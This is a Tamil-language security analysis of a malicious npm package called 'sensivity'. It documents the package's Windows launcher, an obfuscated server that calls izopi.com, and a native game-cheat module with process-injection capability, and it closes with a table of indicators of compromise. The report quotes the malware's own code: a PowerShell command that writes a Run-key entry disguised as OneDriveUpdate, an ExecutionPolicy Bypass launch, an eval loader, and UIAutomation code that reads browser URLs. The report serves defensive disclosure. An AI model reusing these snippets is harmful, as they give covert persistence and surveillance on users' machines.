டிஎல்; DR
npm தொகுப்பு உணர்திறன் தன்னை ஒரு "உணர்திறன் கட்டுப்பாட்டுப் பலகம்" என்று விவரிக்கிறது. விண்டோஸில் இது ஒரு தொலைக்கட்டுப்பாடு மற்றும் கண்காணிப்புக் கருவியாகச் செயல்படுகிறது.
அதன் நுழைவாயில், launcher.js, அதன் சொந்த செயல்முறையை ரன்டைம் புரோக்கர் என மறுபெயரிட்டு, பெயரிடப்பட்ட ஒரு ஆட்டோஸ்டார்ட் ரன்-கீ மதிப்பை எழுதுகிறது OneDriveUpdate அது ஒரு மறைக்கப்பட்ட VBScript மூலம் தொகுப்பை மீண்டும் துவக்கி, PowerShell-ஐத் தோற்றுவிக்கிறது. -ExecutionPolicy Bypassமேலும், 171 KB அளவுள்ள தெளிவற்ற சேவையகத் தரவுப் பொதியையும், 6.87 MB அளவுள்ள நேட்டிவ் மாட்யூலையும் மதிப்பீடு செய்கிறது. sens.node.
இது TCP போர்ட் 3000-இல் ஒரு தொலைபேசி இணைப்புக் கட்டுப்பாட்டுப் பலகத்தை வழங்குகிறது மற்றும் விண்டோஸ் UIAutomation மூலம் செயலில் உள்ள உலாவியின் முகவரிப் பட்டி URL-ஐப் படித்து, நிரலில் நேரடியாகக் குறிப்பிடப்பட்ட ஒரு யூடியூப் வீடியோவைக் கண்காணிக்கிறது.
முன்னர் கருப்புப் பெட்டிகளாகத் தோன்றிய இரண்டு பகுதிகள் இப்போது தெளிவுபடுத்தப்பட்டுள்ளன. தெளிவற்ற சேவையகம், server.obf.js, obfuscator.io RC4 சர-அணித் திட்டத்தைப் பயன்படுத்துகிறது; அதன் டிகோடரை ஆஃப்லைனில் மீண்டும் செயல்படுத்துவது (ஜாவாஸ்கிரிப்ட் எதுவும் இயக்கப்படவில்லை) ஒரு ஒற்றை வெளிப்புற முனையத்தை மீட்டெடுக்கிறது — https://izopi.com/check.php — கையொப்பமிடப்பட்ட உரிமப் பதில்களைச் சரிபார்க்கப் பயன்படுத்தப்படும் உட்பொதிக்கப்பட்ட RSA பொதுத் திறவுகோலுடன் சேர்த்து.
உள்ளமைந்த தொகுதி, sens.node, தொகுக்கப்படவில்லை: அதன் இறக்குமதி அட்டவணை மற்றும் உட்பொதிக்கப்பட்ட சரங்கள், தொலைநிலைச் செயல்முறை உட்செலுத்துதல் மற்றும் நினைவக வாசிப்பு/எழுதுதல் மூலம் இயக்கப்படும், ஏம்பாட், இஎஸ்பி (சுவர்-ஹேக்) மற்றும் ட்ரிகர்பாட் அம்சங்களை வழங்கும் ஒரு டைரக்ட்எக்ஸ் 11 / டியர் இம்கியூஐ (Dear ImGui) விளையாட்டுக்குள்ளான மேலடுக்கு என இதை அடையாளம் காட்டுகின்றன.
அதனுள் உள்ள சரங்கள், GTA V / FiveM-க்கு இணக்கமான வாகனக் கூறுகள் மற்றும் வரைபட இருப்பிடங்களைக் குறிப்பிடுகின்றன. அந்த நேட்டிவ் மாட்யூலைச் சுற்றி, npm பேக்கேஜ் ஆனது விநியோகம் மற்றும் நிலைத்தன்மைக்கான ஒரு உறையாகச் செயல்படுகிறது.
இதன் முக்கிய அறிகுறி தொழில்நுட்ப ரீதியானது அல்ல, செயல்பாட்டு ரீதியானது: அடையாளம் தெரியாத ஒரே ஒரு பதிப்பாளர், ஒரு தொகுப்பின் ஏறத்தாழ எழுபது பதிப்புகளை வெளியிட்டார் — 2.5.0 முதல் 2.5.69 வரை சில நாட்களுக்கு, ஒவ்வொருவரும் அதே ஏவுகணையைச் சுமந்து சென்றனர்.
நிறுவல்கள் எதுவும் இல்லை hooksதொகுப்பு தொடங்கப்படும்போது மட்டுமே பேலோட் இயங்கும்.
தாக்குதல்: அது எவ்வாறு செயல்படுகிறது
சென்சிவிட்டி பத்து கோப்புகளைக் கொண்டுள்ளது. package.json கோப்பு எளிமையானது: அதில் ரெபாசிட்டரி ஃபீல்டு இல்லை, லைசென்ஸ் இல்லை, launcher.js-ஐ சுட்டிக்காட்டும் ஒரு main மற்றும் இரண்டு bin மாற்றுப்பெயர்கள் (sensivity, sens), மற்றும் node launcher.js-இன் ஒரு ஸ்டார்ட் ஸ்கிரிப்ட் ஆகியவை உள்ளன. போஸ்ட்இன்ஸ்டால் அல்லது ப்ரீஇன்ஸ்டால் எதுவும் இல்லை. npm install-இல் எதுவும் செயல்படாது. ஒரு பயனர் இந்த பேக்கேஜை bin shim, ஸ்டார்ட் ஸ்கிரிப்ட் அல்லது ஒரு require வழியாகத் தொடங்கும் போது, கீழே விவரிக்கப்பட்டுள்ள செயல்பாடு இயங்குகிறது.
டார்பால் கோப்பானது லாஞ்சர், ஒரு தெளிவற்ற சர்வர், நேட்டிவ் மாட்யூல், ஒரு விஷுவல் பேசிக் ஸ்கிரிப்ட் மற்றும் கண்ட்ரோல் பேனலுக்கான பப்ளிக்/வெப் டைரக்டரி ஆகியவற்றைக் கொண்டுள்ளது. launcher.js என்பது படிக்கக்கூடிய ஆர்கெஸ்ட்ரேட்டர் ஆகும்; ரன்டைமில் முக்கியமான லாஜிக், அது ஏற்றும் இரண்டு பிளாப்களில் (blobs) உள்ளன — ஒரு தெளிவற்ற சர்வர் மற்றும் ஒரு தொகுக்கப்பட்ட நேட்டிவ் மாட்யூல், இவை இரண்டும் கீழே விவரிக்கப்பட்டுள்ளன.
செயல்முறை மாறுவேடம் மற்றும் ஒரு போலி OneDrive புதுப்பிப்பான்
செயல்படுத்தலின் ஆரம்பத்தில் launcher.js அதன் சொந்த செயல்முறைப் பெயரை இரண்டு முறை அமைக்கிறது:
javascript process.title = 'Runtime Broker'; ரன்டைம் புரோக்கர் என்பது செயலி அனுமதிகளை ஒழுங்குபடுத்தும் ஒரு முறையான விண்டோஸ் செயல்முறை (RuntimeBroker.exe) ஆகும். ஒரு நோட் செயல்முறைக்கு அதன் பெயரை மாற்றுவதால், டாஸ்க் மேனேஜரை மேலோட்டமாகப் பார்க்கும்போது அசாதாரணமான எதுவும் தெரிவதில்லை.
நிலைத்தன்மை என்பது நேரடி ரெஜிஸ்ட்ரி API-க்கு பதிலாக பவர்ஷெல் மூலம் எழுதப்பட்டுள்ளது:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); ஆட்டோஸ்டார்ட் மதிப்பு OneDriveUpdate எனப் பெயரிடப்பட்டுள்ளது, மேலும் அது தொகுப்பை நேரடியாகச் சுட்டிக்காட்டவில்லை. அது, தொகுக்கப்பட்ட OneDrive.Standalone.Updater.vbs-ஐ இயக்கும் wscript.exe-ஐச் சுட்டிக்காட்டுகிறது. அந்த ஸ்கிரிப்ட், ஒரு மறைக்கப்பட்ட சாளரத்தில் node launcher.js-ஐ மீண்டும் தொடங்குகிறது. ரன்-கீ பெயர் மற்றும் VBScript கோப்புப் பெயர் ஆகிய இரண்டும் மைக்ரோசாஃப்ட்டின் அடையாளத்தைப் பயன்படுத்துவதால், ஆட்டோஸ்டார்ட் பதிவு ஒரு வழக்கமான OneDrive பணியாகத் தெரிகிறது.
செயல்படுத்தல் கொள்கை தவிர்ப்புடன் கூடிய பவர்ஷெல்
லாஞ்சர் மீண்டும் மீண்டும் பவர்ஷெல்லுக்கு ஷெல் அணுகலை வழங்குகிறது. ஸ்கேனர்கள் முக்கியமானதாகக் குறிப்பிடும் அணுகல் புள்ளி என்பது, செயலாக்கக் கொள்கை முடக்கப்பட்ட நிலையில் உருவாக்கப்பட்ட .ps1 கோப்பைத் தொடங்குவதாகும்:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass ஆனது, அந்த அழைப்பிற்கான உள்ளூர் ஸ்கிரிப்ட்-கையொப்பச் சரிபார்ப்பை நீக்குகிறது. உருவாக்கப்பட்ட ஸ்கிரிப்டுகள், அடுத்த பிரிவில் விவரிக்கப்பட்டுள்ள உலாவி-கண்காணிப்பு மற்றும் சாளர-கண்டறிதல் பணிகளைக் கையாளுகின்றன.
தெளிவற்ற சேவையகம் மற்றும் நேட்டிவ் மாட்யூல்
அமைப்பிற்குப் பிறகு, launcher.js அதன் உண்மையான பேலோடை ஏற்றி இயக்குகிறது:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js என்பது 171 KB அளவுள்ள _0x-அரே மறைப்பு ஆகும் — இது ஜாவாஸ்கிரிப்ட்டின் ஒரு வடிவமாகும், இதில் ஒவ்வொரு சரமும் அடையாளங்காட்டியும் ஒரு கலைக்கப்பட்ட அரேயின் குறியீட்டெண்ணால் மாற்றப்பட்டு, பின்னர் இயங்கும் நேரத்தில் அதன் குறிப்புகள் நீக்கப்படுகின்றன. இந்தத் திட்டம் obfuscator.io-ஆல் உருவாக்கப்பட்ட RC4 வகையாகும்: ஒரு ஒற்றை டிகோடர் செயல்பாடு ஒரு அரே உள்ளீட்டை பேஸ்64-இல் டிகோட் செய்து, பின்னர் ஒவ்வொரு அழைப்பிற்குமான திறவுகோலைக் கொண்டு அதை RC4-இல் மறைகுறியாக்கம் செய்கிறது. அந்த டிகோடரை ஒரு தனி ஸ்கிரிப்ட்டில் மீண்டும் செயல்படுத்துவது — அதாவது, அந்தத் தொகுப்பின் சொந்த ஜாவாஸ்கிரிப்ட்டை ஒருபோதும் இயக்காமல், பிரித்தெடுக்கப்பட்ட 821-உள்ளீடுகளைக் கொண்ட சர அரேயின் மீது அந்த மறுசெயல்பாட்டை மட்டும் இயக்குவது — அதைச் சுத்தமாக அவிழ்த்துவிடுகிறது. இதன் விளைவாக வெளிப்படுவது சிறியதாகவும் ஆனால் தெளிவாகவும் உள்ளது.cisஐந்தம்: LICENSE_URL என்ற மாறிலிக்கு ஒதுக்கப்பட்ட, `https://izopi.com/check.php` என்ற ஒரு வெளிப்புற URL; உட்பொதிக்கப்பட்ட ஒரு RSA `PUBLIC_KEY_PEM`; உள்ளூர் பேனல் வழிகளான /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, மற்றும் /trigger/status; மற்றும் `child_process`, `crypto`, மற்றும் `[Sensivity] `sens.node loaded` ஆகிய சரங்கள் — இவற்றில் கடைசியாகக் கூறப்பட்ட சரம்தான், லாஞ்சர் 'program module loaded' என மாற்றியமைக்கும் சரியான பதிவு வரியாகும். இந்த எண்ட்பாயிண்ட் ஒரு உரிமச் சரிபார்ப்பு ஆகும்: கிளையன்ட் ஒரு அடையாளங்காட்டியைப் பதிவிடுகிறது (மறைக்கப்பட்ட சர்வர் ஒரு Discord ID: %s சரத்தை வடிவமைக்கிறது) மற்றும் RSA சாவி சர்வரின் கையொப்பமிடப்பட்ட பதிலைச் சரிபார்க்கிறது.
sens.node என்பது 6.87 MB அளவுள்ள, தொகுக்கப்பட்ட ஒரு நேட்டிவ் துணை நிரலாகும். இது பேக் செய்யப்படவில்லை — இதன் செக்ஷன் என்ட்ரோபி 5.6–6.6 அளவில் உள்ளது, மேலும் PE இறக்குமதி மற்றும் ஏற்றுமதி அட்டவணைகள் அப்படியே இருப்பதால், இதன் திறன்களை நேரடியாகப் படிக்க முடியும். இது napi_register_module_v1-ஐ ஏற்றுமதி செய்கிறது. standard இது நோட் N-API நுழைவுப் புள்ளி, எனவே 'eval'd' சேவையகம் ஒரு சாதாரண 'require' கட்டளை மூலம் இதை ஏற்றுகிறது. இதன் இறக்குமதி அட்டவணைதான் இதற்கான முக்கியக் குறிப்பு. KERNEL32-இலிருந்து இது OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, மற்றும் Process32First/NextW ஆகியவற்றை இழுக்கிறது — இவை மற்றொரு செயல்முறையைக் கண்டறிவதற்கும், அதற்குள் நினைவகத்தை ஒதுக்குவதற்கும், அந்த நினைவகத்தைப் படிப்பதற்கும் அல்லது எழுதுவதற்கும் ஆன அதிகாரப்பூர்வமான தொகுப்பாகும். USER32-இலிருந்து இது GetAsyncKeyState, GetKeyState, mouse_event, மற்றும் SetCursorPos ஆகியவற்றை இழுக்கிறது; இது ஒரு திரை மேல்காட்சிக்காக d3d11.dll, D3DCOMPILER_43, மற்றும் dwmapi ஆகியவற்றையும், பிணைய அழைப்புகளுக்கான முழுமையான WINHTTP தொகுப்பையும் இணைக்கிறது. அதன் உட்பொதிக்கப்பட்ட சொற்றொடர்கள் அம்சத் தொகுப்பைத் தெளிவின்றிப் பெயரிடுகின்றன: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, மற்றும் Dear ImGui 1.91.3 WIP என்ற பேனர். Grapeseed Medical Clinic போன்ற இடம் மற்றும் பொருள் சொற்றொடர்களும், வாகன-ESP சொற்களஞ்சியமும் GTA V / FiveM உடன் ஒத்துப்போகின்றன.
இந்தப் பிரிப்பு வேண்டுமென்றே செய்யப்பட்டதாகும்: படிக்கக்கூடிய launcher.js கோப்பானது, ஒரு ஸ்கேனர் எளிதாகப் படிக்கக்கூடிய பகுதிகளை மட்டுமே கொண்டுள்ளது — அதாவது, நிலைத்தன்மை, மாறுவேடம், மற்றும் மதிப்பீட்டு அழைப்பு போன்றவை. அதே சமயம், மறைக்குறியாக்கமானது ரன்டைம் தொடர்பு கொள்ளும் ஒரே ஒரு வெளிப்புற ஹோஸ்ட்டை மறைக்கிறது, மேலும் பைனரி கோப்பானது கேம்-ஓவர்லே மற்றும் பிராசஸ்-இன்ஜெக்ஷன் தர்க்கத்தைக் கொண்டுள்ளது. லாஞ்சர் என்பது மெல்லிய, தணிக்கை செய்யக்கூடிய ஷெல் ஆகும்; மறைக்குறியாக்கப்பட்ட சர்வர் நெட்வொர்க்கின் அடையாளத்தை மறைக்கிறது; நேட்டிவ் மாட்யூல் என்பது பேலோட் ஆகும். பைனரியின் இம்போர்ட்களையும் ஸ்ட்ரிங்குகளையும் படிக்கப்பட்டவை என்று நாங்கள் விவரிக்கிறோம்; அவற்றிலிருந்து ஆப்பரேட்டரின் நோக்கத்தை நாங்கள் ஊகிப்பதில்லை.
போர்ட் 3000 இல் உள்ள தொலைபேசி இணைப்பு கட்டுப்பாட்டுப் பலகம்
லாஞ்சர், TCP போர்ட் 3000-இல் இயங்கும் ஒரு உள்ளூர் வலை சேவையகத்தை நிர்வகித்து, அதை ஒரு சிங்கிள்டனாகக் கருதுகிறது. அது ஏற்கனவே உள்ள லிசனரைக் குறித்து வினவி, பிணைப்பதற்கு முன்பு அதை நீக்குகிறது:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); இந்த பேனலை http://localhost:3000 என்ற முகவரியில் அணுகலாம், மேலும் http://192.168.1.16:3000 என்பது நிரலில் நேரடியாகக் குறிப்பிடப்பட்ட LAN மாற்று URL ஆகும். public/ கோப்பகமும் பேனலின் செயல்பாடும் ஒரு QR-இணைப்பு ஓட்டத்துடன் ஒத்துப்போகின்றன: ஒரு தொலைபேசி ஒரு குறியீட்டை ஸ்கேன் செய்து, ஒரு ரிமோட்டாக ஹோஸ்டுடன் இணைகிறது. லாஞ்சரில் எந்தவொரு வெளிப்புற கட்டளை மற்றும் கட்டுப்பாட்டு டொமைனும் தெளிவான உரையில் தோன்றவில்லை — ஆனால், மேலே உள்ள மறைப்பு நீக்கம் காட்டுவது போல, மறைக்கப்பட்ட சர்வரில் ஒன்று உள்ளது: அது izopi.com உரிம முனையம் ஆகும். பேனல் உள்ளூர் மற்றும் LAN-வரம்புக்குட்பட்டது; வெளியே செல்லும் ஒரே ஹோஸ்ட் அந்த உரிமச் சரிபார்ப்பு மட்டுமே.
ஒரு தனித்த மேற்பார்வையாளர்/பணியாளர் மாதிரி, செயல்முறையை உயிர்ப்புடன் வைத்திருக்கிறது. துவக்கி, SENSIVITY_SUPERVISOR மற்றும் SENSIVITY_WORKER சூழல் கொடிகளுடன் தன்னைத்தானே மீண்டும் உருவாக்கிக்கொள்கிறது; ஒவ்வொரு துணைச் செயல்முறையும் மறைவாக இயங்குவதால், ஒரு செயல்முறையை நிறுத்துவது, அதை மீண்டும் தொடங்குவதற்கு ஒரு கண்காணிப்பு அமைப்பை விட்டுச்செல்கிறது.
உலாவி கண்காணிப்பு மற்றும் யூடியூப் சிக்னல்
இதன் மிகத் துல்லியமான செயல்பாடு உலாவி கண்காணிப்பு ஆகும். launcher.js ஆனது, இயங்கிக்கொண்டிருக்கும் உலாவியின் முகவரிப் பட்டையைப் படிப்பதற்காக விண்டோஸ் UIAutomation-ஐ இயக்கும் பவர்ஷெல்லை உருவாக்குகிறது:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern ஒரு UI உறுப்பின் உரை உள்ளடக்கத்தைத் தருகிறது. இதை ஒரு உலாவியின் முகவரிப் பட்டி திருத்துக் கட்டுப்பாட்டில் பயன்படுத்தும்போது, அது உலாவி நீட்டிப்பு இல்லாமலும், வட்டில் உள்ள சுயவிவரத்தைத் தொடாமலும், API இணைப்பு இல்லாமலும், பாதிக்கப்பட்டவர் தற்போது பார்க்கும் URL-ஐத் தருகிறது. உருவாக்கப்பட்ட ஸ்கிரிப்ட், $browserNames பட்டியலை ஆராய்ந்து, முன்புறத்தில் உள்ள உலாவியின் URL அல்லது சாளரத் தலைப்பைப் பிரித்தெடுக்கிறது.
அந்த URL, நிரலில் நேரடியாகக் குறிப்பிடப்பட்ட ஒரே ஒரு இலக்குடன் ஒப்பிட்டுச் சோதிக்கப்படுகிறது:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; லாஞ்சர், யூடியூப்பைக் காட்டும் ஒரு பிரவுசர் விண்டோவிற்காக மூன்று வினாடி சுழற்சியில் தொடர்ந்து தேடுகிறது, மேலும் உருவாக்கப்படும் பவர்ஷெல், அந்த வீடியோ ஐடியுடன் பொருந்தக்கூடிய Get-YouTubeBrowser / Test-TargetYouTubeUrl என்ற ஜோடியைக் கொண்டுள்ளது. இதன் கவனிக்கத்தக்க விளைவு இருவகைப்பட்டது: பாதிக்கப்பட்டவரின் திரையிலிருந்து செயலில் உள்ள பிரவுசிங் URL படிக்கப்படுகிறது, மேலும் ஒரு குறிப்பிட்ட யூடியூப் வீடியோவுடன் ஹோஸ்டின் தொடர்பு கண்டறியப்படுகிறது. நாங்கள் இந்த வழிமுறையையும் இலக்கையும் விவரிக்கிறோம்; அவற்றிலிருந்து ஒரு நோக்கத்தை நாங்கள் ஊகிக்கவில்லை.
முகவரிப் பட்டியில் படிக்கப்படும் தகவலை, ஸ்கேனர் 'sensitive_data_enumeration' என்று குறிப்பிடுகிறது — இது, பிணைய வசதி கொண்ட ஒரு ரன்டைமிற்குத் தரவை வழங்கும் ஒரு Process::env மற்றும் UIAutomation மூலமாகும். தனித்துப் பார்க்கும்போது இது பாதிப்பில்லாதது போல் தோன்றும்; UIAutomation மூலத்திலிருந்து மறைக்கப்பட்ட சர்வர் வரை தரவின் வாழ்க்கைச் சுழற்சி கண்டறியப்பட்ட பின்னரே இது ஒரு கண்காணிப்பாக மாறுகிறது.
காலவரிசை மற்றும் பதிப்பு பரிணாமம்
சென்சிவிட்டி என்பது ஒரேயொரு முறை பதிவேற்றப்படும் ஒன்றல்ல. வெளியீட்டாளர் கணக்கில் இந்த ஒற்றைத் தொகுப்பின் ஏறத்தாழ எழுபது பதிப்புகள் வெளியிடப்பட்டுள்ளன, மேலும் மதிப்பாய்வுக் காலத்தின்போது புதியவை தொடர்ந்து வந்துகொண்டிருந்தன. 2.5.x பதிப்பு வரிசையில் லாஞ்சர் ஒவ்வொரு அம்சமாக மேம்படுகிறது, அதே சமயம் அதன் நிலைத்தன்மையும் பேலோட்-ஏற்றுதலும் நிலையாக இருக்கின்றன.
| தேதி (UTC) | காணப்பட்ட பதிப்புகள் | லாஞ்சர் நிலை |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | அடிப்படை QR-பேனல் துவக்கி; இயக்க விசை நிலைத்தன்மை; தெளிவற்ற சேவையகத்தின் மதிப்பீடு. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | அதே கைரேகை; கன்சோல்-டிரேஸ் அடக்கம். |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | நிலைப்படுத்தப்பட்ட YouTube ஈடுபாட்டு இலக்கைச் சேர்க்கிறது wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | அனைத்துத் துறைகளிலும் இடைவெளிகளை நிரப்பி மீண்டும் வெளியிடுதல்; மேற்பார்வையாளர்/பணியாளர் கண்காணிப்பு அமைப்பு. |
பதிவிறக்கம் செய்யப்பட்ட பதிப்புகளான 2.5.0, 2.5.36, மற்றும் 2.5.69 ஆகியவற்றில் லாஞ்சரை ஆய்வு செய்யும்போது, நான்கு அடுக்குகள் இருப்பது தெரியவருகிறது. ஆரம்பகால உருவாக்கங்கள் அடிப்படை QR-இணைப்பு லாஞ்சரைக் கொண்டுள்ளன. 2.5.33 பதிப்பிலிருந்து UIAutomation முகவரிப் பட்டி ஹார்வெஸ்டர் தோன்றுகிறது. 2.5.58 பதிப்பிலிருந்து ஒரு மேற்பார்வையாளர்-மேலாண்மை அடுக்கு சேர்க்கப்படுகிறது. 2.5.64 பதிப்பிலிருந்து பிரிக்கப்பட்ட மேற்பார்வையாளர்/பணியாளர் வாட்ச்டாக் இந்தத் தொகுப்பை நிறைவு செய்கிறது. இவை அனைத்திலும், நான்கு விஷயங்கள் ஒருபோதும் மாறுவதில்லை: OneDriveUpdate ரன் கீ, OneDrive.Standalone.Updater.vbs டிராப்பர், eval'd server.obf.js, மற்றும் sens.node நேட்டிவ் மாட்யூல்.
2026-06-05 தேதியிட்ட வெளியீடு குறிப்பிடத்தக்கது, ஏனெனில் அது சில நாட்களுக்கு முன்பு உறுதிசெய்யப்பட்ட பதிப்புகளுக்குக் கீழே உள்ள 2.5.0 முதல் 2.5.15 வரையிலான குறைந்த பதிப்பு எண்களை மீண்டும் வெளியிட்டது. இதன் விளைவாக, ரெஜிஸ்ட்ரியில் தொடர்ச்சியான 2.5.x வரிசை உருவாகிறது, மேலும் ஒவ்வொரு பதிப்பும் ஒரே லாஞ்சரைக் கொண்டுள்ளது.
சமரசத்தின் குறிகாட்டிகள்
கீழே உள்ள அனைத்து குறிகாட்டிகளும் தொகுப்பு டார்பாலில் இருந்து நேரடியாகப் படிக்கப்பட்டன. படிக்கக்கூடிய லாஞ்சர், லூப்பேக் மற்றும் ஒரே ஒரு பிரைவேட் லேன் முகவரியை மட்டுமே கொண்டுள்ளது; izopi.com என்ற ஒரே ஒரு வெளிப்புற ஹோஸ்ட் பெயர், server.obf.js-ஐ ஆஃப்லைனில் தெளிவுபடுத்துவதன் மூலம் மீட்கப்பட்டது.
| வகை | காட்டி | குறிப்புகள் |
|---|---|---|
| தொகுப்பு | npm:sensivity (≈70 பதிப்புகள்,) 2.5.0-2.5.69) | ஒற்றைத் தொகுப்பு வெளியீட்டாளர்; களஞ்சியம் இல்லை; உரிமம் பெறாதது. |
| கோப்பு | launcher.js | படிக்கக்கூடிய ஆர்கெஸ்ட்ரேட்டர்; முதன்மை மற்றும் இரண்டாம் நிலை இலக்கு. |
| கோப்பு | server.obf.js (≈171 KB) | obfuscator.io RC4 சர-அணி பேலோட், இதன் வழியாக ஏற்றப்பட்டது eval(fs.readFileSync(...)). |
| கோப்பு | sens.node (≈6.87 MB) | PE32+ x86-64 நோட் N-API துணை நிரல்; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| கோப்பு | OneDrive.Standalone.Updater.vbs | மறைக்கப்பட்ட மறுதொடக்கம் (node launcher.js). |
| பிணையம் | https://izopi.com/check.php | மறைக்கப்பட்ட சேவையகத்திலிருந்து உரிமம்/அங்கீகார முனையம் மீட்கப்பட்டது; உட்பொதிக்கப்பட்ட RSA பொதுத் திறவுகோல் பதில்களைச் சரிபார்க்கிறது. |
| திறன் | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | தொலைநிலைச் செயல்முறை உள்ளீடு மற்றும் நினைவக வாசிப்பு/எழுதும் திறன். |
| திறன் | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | aimbot, ESP, மற்றும் triggerbot அம்சங்களைச் செயல்படுத்தும் DirectX 11 / ImGui கேம் ஓவர்லே. |
| பதிவகம் | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | தானியங்கி தொடக்க மதிப்பு சுட்டிக்காட்டுகிறது wscript.exe மற்றும் VBScript லாஞ்சர். |
| செயல்முறை | process.title = 'Runtime Broker' | முறையான விண்டோஸ் ரன்டைம் புரோக்கர் செயல்முறை போல வேடமிடுகிறது. |
| நடத்தை | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | உருவாக்கப்பட்ட பவர்ஷெல் ஸ்கிரிப்டுகளுக்குச் செயலாக்கக் கொள்கை தவிர்ப்பு பயன்படுத்தப்படுகிறது. |
| நடத்தை | UIAutomation ValuePattern உலாவி முகவரிப் பட்டியில் இருந்து படிக்கவும் | முன்புற உலாவி சாளரத்தின் URL-ஐப் படிக்கிறது. |
| நடத்தை | இலக்கு வீடியோ ஐடி wJWta2lO0Lw3 வினாடி யூடியூப் வாக்கெடுப்பு | நிலைநிறுத்தப்பட்ட ஈடுபாட்டுக் கண்காணிப்பு சமிக்ஞை. |
| பிணையம் | http://localhost:3000, மாற்று வழி http://192.168.1.16:3000 | உள்ளூரிலும் LAN-லும் QR-இணைப்புக் கட்டுப்பாட்டுப் பலகம் வெளிப்படுத்தப்பட்டுள்ளது. |
| சுற்றுச்சூழல் | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | தனித்த கண்காணிப்பு செயல்முறை ஒருங்கிணைப்புக் கொடிகள். |
காரணம், தாக்கம் மற்றும் பாதுகாவலர்கள்
இந்தத் தொகுப்பு, சரிபார்க்கப்படாத ஜிமெயில் முகவரியை மின்னஞ்சலாகக் கொண்ட ஒரே ஒரு npm கணக்கினால் வெளியிடப்பட்டுள்ளது. அந்தக் கணக்கு மிகவும் மோசமான ரெஜிஸ்ட்ரி நற்பெயர் மதிப்பெண்ணைக் கொண்டுள்ளது, இந்த ஒரு தொகுப்பை மட்டுமே பராமரித்து வெளியிடுகிறது, மேலும் அதனுடன் இணைக்கப்பட்ட மூலக் களஞ்சியம் எதுவும் இல்லை. நாங்கள் அந்த மின்னஞ்சலின் உரிமையைச் சரிபார்க்கவில்லை, மேலும் இந்த பிரச்சாரத்தை எந்தவொரு குறிப்பிட்ட தனிநபருக்கும் அல்லாமல், வெளியீட்டாளர் கணக்கிற்கே நாங்கள் காரணம் காட்டுகிறோம். இந்த லாஞ்சரில் தெளிவான உரை உள்கட்டமைப்பு எதுவும் இல்லை, ஆனால் அதன் ஒரே ஒரு வெளிப்புற ஹோஸ்ட் இப்போது அறியப்பட்டுள்ளது: மறைக்கப்பட்ட சர்வர் உரிமச் சரிபார்ப்புக்காக izopi.com-ஐத் தொடர்பு கொள்கிறது, மேலும் அதன் நேட்டிவ் மாட்யூல் — கட்டளைக்குக் கட்டளை தலைகீழாக மாற்றப்படாமல், அதன் இறக்குமதி அட்டவணை மற்றும் சரங்களிலிருந்து படிக்கப்படுகிறது — இது மற்றொரு செயல்முறையின் நினைவகத்தில் ஊடுருவி அதைப் படிக்கும் ஒரு கேம் ஓவர்லே ஆகும்.
ஒரு கண்ட்ரோல் பேனல் பயன்பாட்டை எதிர்பார்த்து சென்சிடிவிட்டியை நிறுவி இயக்கும் விண்டோஸ் பயனர்கள் மீது இதன் வெளிப்படையான தாக்கம் ஏற்படுகிறது. அந்த ஹோஸ்ட்களில், இந்த பேக்கேஜ் ஒரு OneDrive டாஸ்க் போல வேடமிட்டு ஆட்டோஸ்டார்ட் பெர்சிஸ்டன்ஸை நிறுவுகிறது, ஒரு சிஸ்டம் ப்ராசஸைப் போல தன்னை மறுபெயரிட்டுக்கொள்கிறது, பயனர் உலாவிக் கொண்டிருக்கும் எதன் URL-ஐயும் படிக்கிறது, மேலும் உள்ளூர் நெட்வொர்க் வழியாக அந்த மெஷினை ஒரு ரிமோட்டுடன் இணைக்கும் ஒரு பேரிங் பேனலை நிறுவுகிறது. சூப்பர்வைசர்/வொர்க்கர் வாட்ச்டாக் இருப்பதால், ஒரே ஒரு ப்ராசஸ் கில் அதை அகற்றாது; ரன்-கீ உள்ளீடு ரீபூட்களுக்குப் பிறகும் நீடிக்கிறது. இந்த லாஞ்சர் macOS மற்றும் லினக்ஸை இலக்காகக் கொள்ளவில்லை — பெர்சிஸ்டன்ஸ், பவர்ஷெல் மற்றும் UIஆட்டோமேஷன் பாதைகள் விண்டோஸுக்கு மட்டுமேயானவை.
